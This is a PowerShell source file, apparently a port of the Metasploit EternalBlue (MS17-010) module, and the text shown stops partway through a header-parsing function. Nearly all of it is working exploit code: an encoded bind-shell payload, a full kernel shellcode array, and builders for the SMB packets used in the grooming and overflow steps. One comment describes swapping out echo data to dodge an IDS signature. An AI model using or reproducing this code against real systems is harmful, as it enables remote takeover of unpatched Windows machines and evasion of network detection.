719 lines
27 KiB
PowerShell
719 lines
27 KiB
PowerShell
function Invoke-EternalBlue($Target, $InitialGrooms, $MaxAttempts, $Shellcode, [Switch]$MsfBind){
|
|
|
|
<#
|
|
.SYNOPSIS
|
|
PowerShell port of MS17_010 Metasploit module
|
|
Based on Eternal Blue metasploit module by Sean Dillon <sean.dillon@risksense.com>',
|
|
# @zerosum0x0 'Dylan Davis <dylan.davis@risksense.com>',
|
|
# @jennamagius
|
|
|
|
.PARAMETER Target.
|
|
Host to exploit
|
|
.PARAMETER InitialGrooms
|
|
Initial Grooms.
|
|
.PARAMETER MaxAttempts
|
|
number of times to run exploit
|
|
.PARAMETER ShellCode
|
|
ShellCode to execute on exploit
|
|
.PARAMETER MsfBind
|
|
Switch to run x64 bind shellcode TCP port 8080
|
|
|
|
.EXAMPLE
|
|
Invoke-EternalBlue -Target 127.0.0.1 -InitialGrooms 5 -MaxAttempts 1 -MsfBind
|
|
#>
|
|
|
|
$enc = [system.Text.Encoding]::ASCII
|
|
|
|
if ($MsfBind.IsPresent){
|
|
|
|
$sc = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAB+QAAAAAEFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1VBQTTHJTTHASP/ASInCSP/ASInBQbrqD9/g/9VIicdqEEFYTIniSIn5QbrC2zdn/9VIMdJIiflBurfpOP//1U0xwEgx0kiJ+UG6dOw74f/VSIn5SInHQbp1bk1h/9VIgcSgAgAASbhjbWQAAAAAAEFQQVBIieJXV1dNMcBqDVlBUOL8ZsdEJFQBAUiNRCQYxgBoSInmVlBBUEFQQVBJ/8BBUEn/yE2JwUyJwUG6ecw/hv/VSDHSSP/Kiw5BugiHHWD/1bvwtaJWQbqmlb2d/9VIg8QoPAZ8CoD74HUFu0cTcm9qAFlBidr/1Q=="
|
|
|
|
[Byte[]] $shellcode = [System.Convert]::FromBase64String($sc)
|
|
|
|
}
|
|
|
|
|
|
$GROOM_DELTA = 5
|
|
|
|
|
|
function make_kernel_shellcode {
|
|
[Byte[]] $shellcode =@(0xB9,0x82,0x00,0x00,0xC0,0x0F,0x32,0x48,0xBB,0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,
|
|
0xFF,0x89,0x53,0x04,0x89,0x03,0x48,0x8D,0x05,0x0A,0x00,0x00,0x00,0x48,0x89,0xC2,
|
|
0x48,0xC1,0xEA,0x20,0x0F,0x30,0xC3,0x0F,0x01,0xF8,0x65,0x48,0x89,0x24,0x25,0x10,
|
|
0x00,0x00,0x00,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x50,0x53,0x51,0x52,
|
|
0x56,0x57,0x55,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x41,
|
|
0x56,0x41,0x57,0x6A,0x2B,0x65,0xFF,0x34,0x25,0x10,0x00,0x00,0x00,0x41,0x53,0x6A,
|
|
0x33,0x51,0x4C,0x89,0xD1,0x48,0x83,0xEC,0x08,0x55,0x48,0x81,0xEC,0x58,0x01,0x00,
|
|
0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x9D,0xC0,0x00,0x00,0x00,
|
|
0x48,0x89,0xBD,0xC8,0x00,0x00,0x00,0x48,0x89,0xB5,0xD0,0x00,0x00,0x00,0x48,0xA1,
|
|
0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC2,0x48,0xC1,0xEA,0x20,0x48,
|
|
0x31,0xDB,0xFF,0xCB,0x48,0x21,0xD8,0xB9,0x82,0x00,0x00,0xC0,0x0F,0x30,0xFB,0xE8,
|
|
0x38,0x00,0x00,0x00,0xFA,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x48,0x83,
|
|
0xEC,0x78,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x41,0x5B,0x41,0x5A,0x41,0x59,
|
|
0x41,0x58,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0x58,0x65,0x48,0x8B,0x24,0x25,0x10,0x00,
|
|
0x00,0x00,0x0F,0x01,0xF8,0xFF,0x24,0x25,0xF8,0x0F,0xD0,0xFF,0x56,0x41,0x57,0x41,
|
|
0x56,0x41,0x55,0x41,0x54,0x53,0x55,0x48,0x89,0xE5,0x66,0x83,0xE4,0xF0,0x48,0x83,
|
|
0xEC,0x20,0x4C,0x8D,0x35,0xE3,0xFF,0xFF,0xFF,0x65,0x4C,0x8B,0x3C,0x25,0x38,0x00,
|
|
0x00,0x00,0x4D,0x8B,0x7F,0x04,0x49,0xC1,0xEF,0x0C,0x49,0xC1,0xE7,0x0C,0x49,0x81,
|
|
0xEF,0x00,0x10,0x00,0x00,0x49,0x8B,0x37,0x66,0x81,0xFE,0x4D,0x5A,0x75,0xEF,0x41,
|
|
0xBB,0x5C,0x72,0x11,0x62,0xE8,0x18,0x02,0x00,0x00,0x48,0x89,0xC6,0x48,0x81,0xC6,
|
|
0x08,0x03,0x00,0x00,0x41,0xBB,0x7A,0xBA,0xA3,0x30,0xE8,0x03,0x02,0x00,0x00,0x48,
|
|
0x89,0xF1,0x48,0x39,0xF0,0x77,0x11,0x48,0x8D,0x90,0x00,0x05,0x00,0x00,0x48,0x39,
|
|
0xF2,0x72,0x05,0x48,0x29,0xC6,0xEB,0x08,0x48,0x8B,0x36,0x48,0x39,0xCE,0x75,0xE2,
|
|
0x49,0x89,0xF4,0x31,0xDB,0x89,0xD9,0x83,0xC1,0x04,0x81,0xF9,0x00,0x00,0x01,0x00,
|
|
0x0F,0x8D,0x66,0x01,0x00,0x00,0x4C,0x89,0xF2,0x89,0xCB,0x41,0xBB,0x66,0x55,0xA2,
|
|
0x4B,0xE8,0xBC,0x01,0x00,0x00,0x85,0xC0,0x75,0xDB,0x49,0x8B,0x0E,0x41,0xBB,0xA3,
|
|
0x6F,0x72,0x2D,0xE8,0xAA,0x01,0x00,0x00,0x48,0x89,0xC6,0xE8,0x50,0x01,0x00,0x00,
|
|
0x41,0x81,0xF9,0xBF,0x77,0x1F,0xDD,0x75,0xBC,0x49,0x8B,0x1E,0x4D,0x8D,0x6E,0x10,
|
|
0x4C,0x89,0xEA,0x48,0x89,0xD9,0x41,0xBB,0xE5,0x24,0x11,0xDC,0xE8,0x81,0x01,0x00,
|
|
0x00,0x6A,0x40,0x68,0x00,0x10,0x00,0x00,0x4D,0x8D,0x4E,0x08,0x49,0xC7,0x01,0x00,
|
|
0x10,0x00,0x00,0x4D,0x31,0xC0,0x4C,0x89,0xF2,0x31,0xC9,0x48,0x89,0x0A,0x48,0xF7,
|
|
0xD1,0x41,0xBB,0x4B,0xCA,0x0A,0xEE,0x48,0x83,0xEC,0x20,0xE8,0x52,0x01,0x00,0x00,
|
|
0x85,0xC0,0x0F,0x85,0xC8,0x00,0x00,0x00,0x49,0x8B,0x3E,0x48,0x8D,0x35,0xE9,0x00,
|
|
0x00,0x00,0x31,0xC9,0x66,0x03,0x0D,0xD7,0x01,0x00,0x00,0x66,0x81,0xC1,0xF9,0x00,
|
|
0xF3,0xA4,0x48,0x89,0xDE,0x48,0x81,0xC6,0x08,0x03,0x00,0x00,0x48,0x89,0xF1,0x48,
|
|
0x8B,0x11,0x4C,0x29,0xE2,0x51,0x52,0x48,0x89,0xD1,0x48,0x83,0xEC,0x20,0x41,0xBB,
|
|
0x26,0x40,0x36,0x9D,0xE8,0x09,0x01,0x00,0x00,0x48,0x83,0xC4,0x20,0x5A,0x59,0x48,
|
|
0x85,0xC0,0x74,0x18,0x48,0x8B,0x80,0xC8,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x0C,
|
|
0x48,0x83,0xC2,0x4C,0x8B,0x02,0x0F,0xBA,0xE0,0x05,0x72,0x05,0x48,0x8B,0x09,0xEB,
|
|
0xBE,0x48,0x83,0xEA,0x4C,0x49,0x89,0xD4,0x31,0xD2,0x80,0xC2,0x90,0x31,0xC9,0x41,
|
|
0xBB,0x26,0xAC,0x50,0x91,0xE8,0xC8,0x00,0x00,0x00,0x48,0x89,0xC1,0x4C,0x8D,0x89,
|
|
0x80,0x00,0x00,0x00,0x41,0xC6,0x01,0xC3,0x4C,0x89,0xE2,0x49,0x89,0xC4,0x4D,0x31,
|
|
0xC0,0x41,0x50,0x6A,0x01,0x49,0x8B,0x06,0x50,0x41,0x50,0x48,0x83,0xEC,0x20,0x41,
|
|
0xBB,0xAC,0xCE,0x55,0x4B,0xE8,0x98,0x00,0x00,0x00,0x31,0xD2,0x52,0x52,0x41,0x58,
|
|
0x41,0x59,0x4C,0x89,0xE1,0x41,0xBB,0x18,0x38,0x09,0x9E,0xE8,0x82,0x00,0x00,0x00,
|
|
0x4C,0x89,0xE9,0x41,0xBB,0x22,0xB7,0xB3,0x7D,0xE8,0x74,0x00,0x00,0x00,0x48,0x89,
|
|
0xD9,0x41,0xBB,0x0D,0xE2,0x4D,0x85,0xE8,0x66,0x00,0x00,0x00,0x48,0x89,0xEC,0x5D,
|
|
0x5B,0x41,0x5C,0x41,0x5D,0x41,0x5E,0x41,0x5F,0x5E,0xC3,0xE9,0xB5,0x00,0x00,0x00,
|
|
0x4D,0x31,0xC9,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x3C,0x61,0x7C,0x02,0x2C,0x20,
|
|
0x41,0x01,0xC1,0x38,0xE0,0x75,0xEC,0xC3,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,
|
|
0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x12,0x48,0x8B,0x72,0x50,0x48,0x0F,
|
|
0xB7,0x4A,0x4A,0x45,0x31,0xC9,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,
|
|
0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xEE,0x45,0x39,0xD9,0x75,0xDA,0x4C,0x8B,0x7A,
|
|
0x20,0xC3,0x4C,0x89,0xF8,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x89,0xC2,0x8B,
|
|
0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x01,0xD0,0x50,0x8B,
|
|
0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,
|
|
0x48,0x01,0xD6,0xE8,0x78,0xFF,0xFF,0xFF,0x45,0x39,0xD9,0x75,0xEC,0x58,0x44,0x8B,
|
|
0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,
|
|
0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,
|
|
0x5B,0x41,0x53,0xFF,0xE0,0x56,0x41,0x57,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,
|
|
0x41,0xBB,0xDA,0x16,0xAF,0x92,0xE8,0x4D,0xFF,0xFF,0xFF,0x31,0xC9,0x51,0x51,0x51,
|
|
0x51,0x41,0x59,0x4C,0x8D,0x05,0x1A,0x00,0x00,0x00,0x5A,0x48,0x83,0xEC,0x20,0x41,
|
|
0xBB,0x46,0x45,0x1B,0x22,0xE8,0x68,0xFF,0xFF,0xFF,0x48,0x89,0xEC,0x5D,0x41,0x5F,
|
|
0x5E,0xC3)
|
|
return $shellcode
|
|
}
|
|
|
|
function make_kernel_user_payload($ring3) {
|
|
$sc = make_kernel_shellcode
|
|
$sc += [bitconverter]::GetBytes([uint16] ($ring3.length))
|
|
$sc += $ring3
|
|
return $sc
|
|
}
|
|
function make_smb2_payload_headers_packet(){
|
|
[Byte[]] $pkt = [Byte[]](0x00,0x00,0xff,0xf7,0xFE) + [system.Text.Encoding]::ASCII.GetBytes("SMB") + [Byte[]](0x00)*124
|
|
|
|
return $pkt
|
|
}
|
|
|
|
function make_smb2_payload_body_packet($kernel_user_payload) {
|
|
$pkt_max_len = 4204
|
|
$pkt_setup_len = 497
|
|
$pkt_max_payload = $pkt_max_len - $pkt_setup_len
|
|
|
|
#padding
|
|
[Byte[]] $pkt = [Byte[]] (0x00) * 0x8
|
|
$pkt += 0x03,0x00,0x00,0x00
|
|
$pkt += [Byte[]] (0x00) * 0x1c
|
|
$pkt += 0x03,0x00,0x00,0x00
|
|
$pkt += [Byte[]] (0x00) * 0x74
|
|
|
|
# KI_USER_SHARED_DATA addresses
|
|
$pkt += [Byte[]] (0xb0,0x00,0xd0,0xff,0xff,0xff,0xff,0xff) * 2 # x64 address
|
|
$pkt += [Byte[]] (0x00) * 0x10
|
|
$pkt += [Byte[]] (0xc0,0xf0,0xdf,0xff) * 2 # x86 address
|
|
$pkt += [Byte[]] (0x00) * 0xc4
|
|
|
|
# payload addreses
|
|
$pkt += 0x90,0xf1,0xdf,0xff
|
|
$pkt += [Byte[]] (0x00) * 0x4
|
|
$pkt += 0xf0,0xf1,0xdf,0xff
|
|
$pkt += [Byte[]] (0x00) * 0x40
|
|
|
|
$pkt += 0xf0,0x01,0xd0,0xff,0xff,0xff,0xff,0xff
|
|
$pkt += [Byte[]] (0x00) * 0x8
|
|
$pkt += 0x00,0x02,0xd0,0xff,0xff,0xff,0xff,0xff
|
|
$pkt += 0x00
|
|
|
|
$pkt += $kernel_user_payload
|
|
|
|
# fill out the rest, this can be randomly generated
|
|
$pkt += 0x00 * ($pkt_max_payload - $kernel_user_payload.length)
|
|
|
|
return $pkt
|
|
}
|
|
|
|
function make_smb1_echo_packet($tree_id, $user_id) {
|
|
[Byte[]] $pkt = [Byte[]] (0x00) # type
|
|
$pkt += 0x00,0x00,0x31 # len = 49
|
|
$pkt += [Byte[]] (0xff) + $enc.GetBytes("SMB") # SMB1
|
|
$pkt += 0x2b # Echo
|
|
$pkt += 0x00,0x00,0x00,0x00 # Success
|
|
$pkt += 0x18 # flags
|
|
$pkt += 0x07,0xc0 # flags2
|
|
$pkt += 0x00,0x00 # PID High
|
|
$pkt += 0x00,0x00,0x00,0x00 # Signature1
|
|
$pkt += 0x00,0x00,0x00,0x00 # Signature2
|
|
$pkt += 0x00,0x00 # Reserved
|
|
$pkt += $tree_id # Tree ID
|
|
$pkt += 0xff,0xfe # PID
|
|
$pkt += $user_id # UserID
|
|
$pkt += 0x40,0x00 # MultiplexIDs
|
|
|
|
$pkt += 0x01 # Word count
|
|
$pkt += 0x01,0x00 # Echo count
|
|
$pkt += 0x0c,0x00 # Byte count
|
|
|
|
# echo data
|
|
# this is an existing IDS signature, and can be nulled out
|
|
#$pkt += 0x4a,0x6c,0x4a,0x6d,0x49,0x68,0x43,0x6c,0x42,0x73,0x72,0x00
|
|
$pkt += 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00
|
|
return $pkt
|
|
}
|
|
|
|
function make_smb1_trans2_exploit_packet($tree_id, $user_id, $type, $timeout) {
|
|
$timeout = ($timeout * 0x10) + 3
|
|
|
|
[Byte[]] $pkt = [Byte[]] (0x00) # Session message
|
|
$pkt += 0x00,0x10,0x35 # length
|
|
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
|
|
$pkt += 0x33 # Trans2 request
|
|
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
|
|
$pkt += 0x18 # Flags
|
|
$pkt += 0x07,0xc0 # Flags2
|
|
$pkt += 0x00,0x00 # PID High
|
|
$pkt += 0x00,0x00,0x00,0x00 # Signature1
|
|
$pkt += 0x00,0x00,0x00,0x00 # Signature2
|
|
$pkt += 0x00,0x00 # Reserved
|
|
$pkt += $user_id # TreeID
|
|
$pkt += 0xff,0xfe # PID
|
|
$pkt += $user_id # UserID
|
|
$pkt += 0x40,0x00 # MultiplexIDs
|
|
|
|
$pkt += 0x09 # Word Count
|
|
$pkt += 0x00,0x00 # Total Param Count
|
|
$pkt += 0x00,0x10 # Total Data Count
|
|
$pkt += 0x00,0x00 # Max Param Count
|
|
$pkt += 0x00,0x00 # Max Data Count
|
|
$pkt += 0x00 # Max Setup Count
|
|
$pkt += 0x00 # Reserved
|
|
$pkt += 0x00,0x10 # Flags
|
|
$pkt += 0x35,0x00,0xd0 # Timeouts
|
|
$pkt += [bitconverter]::GetBytes($timeout)[0] #timeout is a single int
|
|
$pkt += 0x00,0x00 # Reserved
|
|
$pkt += 0x00,0x10 # Parameter Count
|
|
|
|
#$pkt += 0x74,0x70 # Parameter Offset
|
|
#$pkt += 0x47,0x46 # Data Count
|
|
#$pkt += 0x45,0x6f # Data Offset
|
|
#$pkt += 0x4c # Setup Count
|
|
#$pkt += 0x4f # Reserved
|
|
|
|
if ($type -eq "eb_trans2_exploit") {
|
|
|
|
$pkt += [Byte[]] (0x41) * 2957
|
|
|
|
$pkt += 0x80,0x00,0xa8,0x00 # overflow
|
|
|
|
$pkt += [Byte[]] (0x00) * 0x10
|
|
$pkt += 0xff,0xff
|
|
$pkt += [Byte[]] (0x00) * 0x6
|
|
$pkt += 0xff,0xff
|
|
$pkt += [Byte[]] (0x00) * 0x16
|
|
|
|
$pkt += 0x00,0xf1,0xdf,0xff # x86 addresses
|
|
$pkt += [Byte[]] (0x00) * 0x8
|
|
$pkt += 0x20,0xf0,0xdf,0xff
|
|
|
|
$pkt += 0x00,0xf1,0xdf,0xff,0xff,0xff,0xff,0xff # x64
|
|
|
|
$pkt += 0x60,0x00,0x04,0x10
|
|
$pkt += [Byte[]] (0x00) * 4
|
|
|
|
$pkt += 0x80,0xef,0xdf,0xff
|
|
|
|
$pkt += [Byte[]] (0x00) * 4
|
|
$pkt += 0x10,0x00,0xd0,0xff,0xff,0xff,0xff,0xff
|
|
$pkt += 0x18,0x01,0xd0,0xff,0xff,0xff,0xff,0xff
|
|
$pkt += [Byte[]] (0x00) * 0x10
|
|
|
|
$pkt += 0x60,0x00,0x04,0x10
|
|
$pkt += [Byte[]] (0x00) * 0xc
|
|
$pkt += 0x90,0xff,0xcf,0xff,0xff,0xff,0xff,0xff
|
|
$pkt += [Byte[]] (0x00) * 0x8
|
|
$pkt += 0x80,0x10
|
|
$pkt += [Byte[]] (0x00) * 0xe
|
|
$pkt += 0x39
|
|
$pkt += 0xbb
|
|
|
|
$pkt += [Byte[]] (0x41) * 965
|
|
|
|
return $pkt
|
|
}
|
|
|
|
if($type -eq "eb_trans2_zero") {
|
|
$pkt += [Byte[]] (0x00) * 2055
|
|
$pkt += 0x83,0xf3
|
|
$pkt += [Byte[]] (0x41) * 2039
|
|
#$pkt += 0x00 * 4096
|
|
}
|
|
else {
|
|
$pkt += [Byte[]] (0x41) * 4096
|
|
}
|
|
|
|
return $pkt
|
|
}
|
|
function negotiate_proto_request()
|
|
{
|
|
|
|
[Byte[]] $pkt = [Byte[]] (0x00) # Message_Type
|
|
$pkt += 0x00,0x00,0x54 # Length
|
|
|
|
$pkt += 0xFF,0x53,0x4D,0x42 # server_component: .SMB
|
|
$pkt += 0x72 # smb_command: Negotiate Protocol
|
|
$pkt += 0x00,0x00,0x00,0x00 # nt_status
|
|
$pkt += 0x18 # flags
|
|
$pkt += 0x01,0x28 # flags2
|
|
$pkt += 0x00,0x00 # process_id_high
|
|
$pkt += 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 # signature
|
|
$pkt += 0x00,0x00 # reserved
|
|
$pkt += 0x00,0x00 # tree_id
|
|
$pkt += 0x2F,0x4B # process_id
|
|
$pkt += 0x00,0x00 # user_id
|
|
$pkt += 0xC5,0x5E # multiplex_id
|
|
|
|
$pkt += 0x00 # word_count
|
|
$pkt += 0x31,0x00 # byte_count
|
|
|
|
# Requested Dialects
|
|
$pkt += 0x02 # dialet_buffer_format
|
|
$pkt += 0x4C,0x41,0x4E,0x4D,0x41,0x4E,0x31,0x2E,0x30,0x00 # dialet_name: LANMAN1.0
|
|
|
|
$pkt += 0x02 # dialet_buffer_format
|
|
$pkt += 0x4C,0x4D,0x31,0x2E,0x32,0x58,0x30,0x30,0x32,0x00 # dialet_name: LM1.2X002
|
|
|
|
$pkt += 0x02 # dialet_buffer_format
|
|
$pkt += 0x4E,0x54,0x20,0x4C,0x41,0x4E,0x4D,0x41,0x4E,0x20,0x31,0x2E,0x30,0x00 # dialet_name3: NT LANMAN 1.0
|
|
|
|
$pkt += 0x02 # dialet_buffer_format
|
|
$pkt += 0x4E,0x54,0x20,0x4C,0x4D,0x20,0x30,0x2E,0x31,0x32,0x00 # dialet_name4: NT LM 0.12
|
|
|
|
return $pkt
|
|
}
|
|
|
|
|
|
function make_smb1_nt_trans_packet($tree_id, $user_id) {
|
|
|
|
[Byte[]] $pkt = [Byte[]] (0x00) # Session message
|
|
$pkt += 0x00,0x04,0x38 # length
|
|
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
|
|
$pkt += 0xa0 # NT Trans
|
|
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
|
|
$pkt += 0x18 # Flags
|
|
$pkt += 0x07,0xc0 # Flags2
|
|
$pkt += 0x00,0x00 # PID High
|
|
$pkt += 0x00,0x00,0x00,0x00 # Signature1
|
|
$pkt += 0x00,0x00,0x00,0x00 # Signature2
|
|
$pkt += 0x00,0x00 # Reserved
|
|
$pkt += $tree_id # TreeID
|
|
$pkt += 0xff,0xfe # PID
|
|
$pkt += $user_id # UserID
|
|
$pkt += 0x40,0x00 # MultiplexID
|
|
|
|
$pkt += 0x14 # Word Count
|
|
$pkt += 0x01 # Max Setup Count
|
|
$pkt += 0x00,0x00 # Reserved
|
|
$pkt += 0x1e,0x00,0x00,0x00 # Total Param Count
|
|
$pkt += 0xd0,0x03,0x01,0x00 # Total Data Count
|
|
$pkt += 0x1e,0x00,0x00,0x00 # Max Param Count
|
|
$pkt += 0x00,0x00,0x00,0x00 # Max Data Count
|
|
$pkt += 0x1e,0x00,0x00,0x00 # Param Count
|
|
$pkt += 0x4b,0x00,0x00,0x00 # Param Offset
|
|
$pkt += 0xd0,0x03,0x00,0x00 # Data Count
|
|
$pkt += 0x68,0x00,0x00,0x00 # Data Offset
|
|
$pkt += 0x01 # Setup Count
|
|
$pkt += 0x00,0x00 # Function <unknown>
|
|
$pkt += 0x00,0x00 # Unknown NT transaction (0) setup
|
|
$pkt += 0xec,0x03 # Byte Count
|
|
$pkt += [Byte[]] (0x00) * 0x1f # NT Parameters
|
|
|
|
# undocumented
|
|
$pkt += 0x01
|
|
$pkt += [Byte[]](0x00) * 0x3cd
|
|
return $pkt
|
|
}
|
|
|
|
function make_smb1_free_hole_session_packet($flags2, $vcnum, $native_os) {
|
|
|
|
[Byte[]] $pkt = 0x00 # Session message
|
|
$pkt += 0x00,0x00,0x51 # length
|
|
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
|
|
$pkt += 0x73 # Session Setup AndX
|
|
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
|
|
$pkt += 0x18 # Flags
|
|
$pkt += $flags2 # Flags2
|
|
$pkt += 0x00,0x00 # PID High
|
|
$pkt += 0x00,0x00,0x00,0x00 # Signature1
|
|
$pkt += 0x00,0x00,0x00,0x00 # Signature2
|
|
$pkt += 0x00,0x00 # Reserved
|
|
$pkt += 0x00,0x00 # TreeID
|
|
$pkt += 0xff,0xfe # PID
|
|
$pkt += 0x00,0x00 # UserID
|
|
$pkt += 0x40,0x00 # MultiplexID
|
|
#$pkt += 0x00,0x00 # Reserved
|
|
|
|
$pkt += 0x0c # Word Count
|
|
$pkt += 0xff # No further commands
|
|
$pkt += 0x00 # Reserved
|
|
$pkt += 0x00,0x00 # AndXOffset
|
|
$pkt += 0x04,0x11 # Max Buffer
|
|
$pkt += 0x0a,0x00 # Max Mpx Count
|
|
$pkt += $vcnum # VC Number
|
|
$pkt += 0x00,0x00,0x00,0x00 # Session key
|
|
$pkt += 0x00,0x00 # Security blob length
|
|
$pkt += 0x00,0x00,0x00,0x00 # Reserved
|
|
$pkt += 0x00,0x00,0x00,0x80 # Capabilities
|
|
$pkt += 0x16,0x00 # Byte count
|
|
#$pkt += 0xf0 # Security Blob: <MISSING>
|
|
#$pkt += 0xff,0x00,0x00,0x00 # Native OS
|
|
#$pkt += 0x00,0x00 # Native LAN manager
|
|
#$pkt += 0x00,0x00 # Primary domain
|
|
$pkt += $native_os
|
|
$pkt += [Byte[]] (0x00) * 17 # Extra byte params
|
|
|
|
return $pkt
|
|
}
|
|
|
|
function make_smb1_anonymous_login_packet {
|
|
# Neither Rex nor RubySMB appear to support Anon login?
|
|
|
|
[Byte[]] $pkt = [Byte[]] (0x00) # Session message
|
|
$pkt += 0x00,0x00,0x88 # length
|
|
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
|
|
$pkt += 0x73 # Session Setup AndX
|
|
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
|
|
$pkt += 0x18 # Flags
|
|
$pkt += 0x07,0xc0 # Flags2
|
|
$pkt += 0x00,0x00 # PID High
|
|
$pkt += 0x00,0x00,0x00,0x00 # Signature1
|
|
$pkt += 0x00,0x00,0x00,0x00 # Signature2
|
|
$pkt += 0x00,0x00 # TreeID
|
|
$pkt += 0xff,0xfe # PID
|
|
$pkt += 0x00,0x00 # Reserved
|
|
$pkt += 0x00,0x00 # UserID
|
|
$pkt += 0x40,0x00 # MultiplexID
|
|
|
|
$pkt += 0x0d # Word Count
|
|
$pkt += 0xff # No further commands
|
|
$pkt += 0x00 # Reserved
|
|
$pkt += 0x88,0x00 # AndXOffset
|
|
$pkt += 0x04,0x11 # Max Buffer
|
|
$pkt += 0x0a,0x00 # Max Mpx Count
|
|
$pkt += 0x00,0x00 # VC Number
|
|
$pkt += 0x00,0x00,0x00,0x00 # Session key
|
|
$pkt += 0x01,0x00 # ANSI pw length
|
|
$pkt += 0x00,0x00 # Unicode pw length
|
|
$pkt += 0x00,0x00,0x00,0x00 # Reserved
|
|
$pkt += 0xd4,0x00,0x00,0x00 # Capabilities
|
|
$pkt += 0x4b,0x00 # Byte count
|
|
$pkt += 0x00 # ANSI pw
|
|
$pkt += 0x00,0x00 # Account name
|
|
$pkt += 0x00,0x00 # Domain name
|
|
|
|
# Windows 2000 2195
|
|
$pkt += 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x32
|
|
$pkt += 0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x20,0x00,0x32,0x00,0x31,0x00,0x39,0x00,0x35,0x00
|
|
$pkt += 0x00,0x00
|
|
|
|
# Windows 2000 5.0
|
|
$pkt += 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x32
|
|
$pkt += 0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x20,0x00,0x35,0x00,0x2e,0x00,0x30,0x00,0x00,0x00
|
|
|
|
return $pkt
|
|
}
|
|
|
|
|
|
function tree_connect_andx_request($Target, $userid) {
|
|
|
|
[Byte[]] $pkt = [Byte[]](0x00) #$pkt +=Message_Type'
|
|
$pkt +=0x00,0x00,0x47 #$pkt +=Length'
|
|
|
|
|
|
$pkt +=0xFF,0x53,0x4D,0x42 #$pkt +=server_component': .SMB
|
|
$pkt +=0x75 #$pkt +=smb_command': Tree Connect AndX
|
|
$pkt +=0x00,0x00,0x00,0x00 #$pkt +=nt_status'
|
|
$pkt +=0x18 #$pkt +=flags'
|
|
$pkt +=0x01,0x20 #$pkt +=flags2'
|
|
$pkt +=0x00,0x00 #$pkt +=process_id_high'
|
|
$pkt +=0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 #$pkt +=signature'
|
|
$pkt +=0x00,0x00 #$pkt +=reserved'
|
|
$pkt +=0x00,0x00 #$pkt +=tree_id'
|
|
$pkt +=0x2F,0x4B #$pkt +=process_id'
|
|
$pkt += $userid #$pkt +=user_id'
|
|
$pkt +=0xC5,0x5E #$pkt +=multiplex_id'
|
|
|
|
|
|
$ipc = "\\"+ $Target + "\IPC$"
|
|
|
|
$pkt +=0x04 # Word Count
|
|
$pkt +=0xFF # AndXCommand: No further commands
|
|
$pkt +=0x00 # Reserved
|
|
$pkt +=0x00,0x00 # AndXOffset
|
|
$pkt +=0x00,0x00 # Flags
|
|
$pkt +=0x01,0x00 # Password Length
|
|
$pkt +=0x1A,0x00 # Byte Count
|
|
$pkt +=0x00 # Password
|
|
$pkt += [system.Text.Encoding]::ASCII.GetBytes($ipc) # \,0xxx.xxx.xxx.xxx\IPC$
|
|
$pkt += 0x00 # null byte after ipc added by kev
|
|
|
|
$pkt += 0x3f,0x3f,0x3f,0x3f,0x3f,0x00 # Service
|
|
|
|
|
|
$len = $pkt.Length - 4
|
|
# netbios[1] =$pkt +=0x00' + struct.pack('>H length)
|
|
$hexlen = [bitconverter]::GetBytes($len)[-2..-4]
|
|
$pkt[1] = $hexlen[0]
|
|
$pkt[2] = $hexlen[1]
|
|
$pkt[3] = $hexlen[2]
|
|
return $pkt
|
|
|
|
}
|
|
|
|
|
|
|
|
function smb_header($smbheader) {
|
|
|
|
$parsed_header =@{server_component=$smbheader[0..3];
|
|
